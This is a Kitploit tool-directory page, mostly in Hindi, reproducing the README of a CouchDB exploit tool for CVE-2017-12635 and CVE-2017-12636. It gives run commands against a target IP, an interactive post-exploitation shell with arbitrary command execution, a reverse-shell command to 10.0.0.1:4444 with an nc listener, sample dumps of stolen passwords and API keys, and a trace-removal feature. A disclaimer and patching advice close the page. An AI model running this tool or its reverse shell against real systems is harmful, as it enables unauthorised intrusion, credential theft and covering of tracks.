Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
couchdb-exploit — विशेषाधिकार वृद्धि और RCE के लिए CouchDB CVE-2017-12635/12636 का शोषण करता है, फिर कमांड निष्पादन, डेटाबेस ब्राउज़िंग और रिवर्स शेल के साथ एक इंटरैक्टिव शेल प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/darabium/couchdb-exploit
विशेषाधिकार वृद्धिशोषणजानकारी एकत्र करनापोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubdarabium/couchdb-exploit

couchdb-exploit

विशेषाधिकार वृद्धि और RCE के लिए CouchDB CVE-2017-12635/12636 का शोषण करता है, फिर कमांड निष्पादन, डेटाबेस ब्राउज़िंग और रिवर्स शेल के साथ एक इंटरैक्टिव शेल प्रदान करता है।

रिपॉजिटरी देखें
231 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🚀 CouchDB Exploit - CVE-2017-12635 और CVE-2017-12636

Python License CVE CVE

Apache CouchDB - विशेषाधिकार वृद्धि और रिमोट कोड निष्पादन

GitHub stars GitHub forks


📖 अवलोकन

यह टूल Apache CouchDB में दो गंभीर कमज़ोरियों का शोषण करता है:

CVEविवरणगंभीरता
CVE-2017-12635JSON पार्सिंग बायपास के माध्यम से विशेषाधिकार वृद्धि🔴 गंभीर
CVE-2017-12636क्वेरी सर्वर के माध्यम से रिमोट कोड निष्पादन🔴 गंभीर

यह कैसे काम करता है

  1. CVE-2017-12635: एडमिन उपयोगकर्ता बनाने के लिए Erlang और JavaScript पार्सर के बीच असंगत JSON पार्सिंग का शोषण करता है
  2. CVE-2017-12636: एक दुर्भावनापूर्ण क्वेरी सर्वर कॉन्फ़िगर करने और सिस्टम कमांड निष्पादित करने के लिए एडमिन एक्सेस का उपयोग करता है

🎯 कमज़ोर संस्करण

संस्करणकमज़ोरठीक किया गया संस्करण
Apache CouchDB < 1.7.0✅ हाँ1.7.0
Apache CouchDB 1.x.x✅ हाँ1.7.0
Apache CouchDB 2.0.0✅ हाँ2.1.1
Apache CouchDB 2.1.0✅ हाँ2.1.1
Apache CouchDB ≥ 2.1.1❌ नहीं-

त्वरित जाँच

curl http://target:5984/

If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE

✨ विशेषताएँ

✅ स्वचालित शोषण - सब कुछ नियंत्रित करने के लिए एक कमांड

✅ इंटरैक्टिव शेल - उपयोगकर्ता-अनुकूल कमांड इंटरफ़ेस

✅ डेटाबेस व्यूअर - सभी डेटाबेस और दस्तावेज़ ब्राउज़ करें

✅ पूर्ण JSON प्रदर्शन - संपूर्ण दस्तावेज़ सामग्री देखें

✅ वैश्विक खोज - सभी डेटाबेस में कीवर्ड खोजें

✅ सिस्टम कमांड - लक्ष्य पर मनमाने कमांड निष्पादित करें

✅ रिवर्स शेल - पूर्ण इंटरैक्टिव शेल प्राप्त करें

✅ कमांड इतिहास - अपने कार्यों का ट्रैक रखें

✅ स्वचालित सफ़ाई - शोषण के बाद निशान हटाएँ

✅ रंगीन आउटपुट - पढ़ने और समझने में आसान

📦 इंस्टॉलेशन पूर्वापेक्षाएँ bash

Python 3.6+ required

python3 --version

क्लोन और इंस्टॉल करें bash

Clone the repository

git clone https://github.com/darabium/couchdb-exploit.git

cd couchdb-exploit

निर्भरताएँ स्थापित करें

python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt

आवश्यकताएँ txt

requests>=2.25.0 urllib3>=1.26.0

🚀 उपयोग बुनियादी उपयोग bash

सरल एक्सप्लॉइट

python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

उदाहरण

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

कमांड लाइन विकल्प bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

💻 कमांड्स

एक बार एक्सप्लॉइट होने के बाद, आपके पास एक इंटरैक्टिव शेल होगा: Command Description Example db Show all databases with document counts db view View ALL documents in a database (full JSON) view passwords raw Show raw server response raw admin count Count documents in a database count users search Search for a keyword in ALL databases search admin exec Execute a system command exec whoami reverse Setup reverse shell reverse 10.0.0.1 4444 history Show command history history help Show this menu help exit Exit with cleanup exit 📊 उदाहरण

  1. सभी डेटाबेस की सूची बनाएं bash

couchdb> db

[+] 39 databases:

  1. _replicator (0 docs)

  2. _users (12 docs)

  3. admin (5 docs)

  4. passwords (25 docs)

  5. core-configuration (8 docs) ...

  6. डेटाबेस सामग्री देखें bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

  1. क्रेडेंशियल्स खोजें bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

  1. सिस्टम कमांड्स निष्पादित करें bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

  1. रिवर्स शेल bash

On your machine (listener)

nc -lvnp 4444

एक्सप्लॉइट में

couchdb> reverse 10.0.0.1 4444 [+] 10.0.0.1:4444 पर रिवर्स शेल सेट किया जा रहा है [!] सुनिश्चित करें कि लिसनर चल रहा है: nc -lvnp 4444 [?] जारी रखें? (y/n): y [+] रिवर्स शेल ट्रिगर हो गया!

आपको अपने लिसनर पर एक शेल मिलनी चाहिए!

🖼️ स्क्रीनशॉट एक्सप्लॉइट क्रियान्वयन में

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot डेटाबेस दृश्य

https://via.placeholder.com/800x400?text=Database+View रिवर्स शेल

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ अस्वीकरण

महत्वपूर्ण: यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है।

    🚫 स्पष्ट अनुमति के बिना सिस्टम पर इसका उपयोग न करें

    🚫 लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है

    🚫 केवल नियंत्रित वातावरण या अपने स्वयं के सिस्टम पर उपयोग करें

    ✅ परीक्षण से पहले हमेशा लिखित प्राधिकरण प्राप्त करें

    ✅ ज़िम्मेदार प्रकटीकरण प्रथाओं का पालन करें

इस टूल का उपयोग करके, आप इन शर्तों से सहमत होते हैं। 🔐 सुरक्षा सुझाव

यदि आप एक सिस्टम प्रशासक हैं:

तुरंत CouchDB ≥ 1.7.0 या ≥ 2.1.1 में अपग्रेड करें

पोर्ट 5984 तक पहुँच को प्रतिबंधित करने के लिए फ़ायरवॉल का उपयोग करें

प्रमाणीकरण सक्षम करें और मज़बूत पासवर्ड का उपयोग करें

संदिग्ध गतिविधि के लिए लॉग की निगरानी करें

अपने बुनियादी ढाँचे का नियमित सुरक्षा ऑडिट

त्वरित समाधान bash

CouchDB अपग्रेड करें

sudo apt-get update sudo apt-get install couchdb=2.1.1 # या नवीनतम संस्करण

पहुँच प्रतिबंधित करें

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 संदर्भ

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

Apache CouchDB सुरक्षा

Exploit-DB

👤 लेखक

darabium

GitHub: @darabium

Telegram: @darabium

⭐ समर्थन

यदि आपको यह उपयोगी लगे:

⭐ रिपॉज़िटरी को स्टार करें

🐛 समस्याओं की रिपोर्ट करें

🔧 सुधारों में योगदान करें

📢 दूसरों के साथ साझा करें

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

सुरक्षा अनुसंधान के लिए ❤️ के साथ बनाया गया

⬆ शीर्ष पर वापस जाएँ

टूल डाउनलोड करें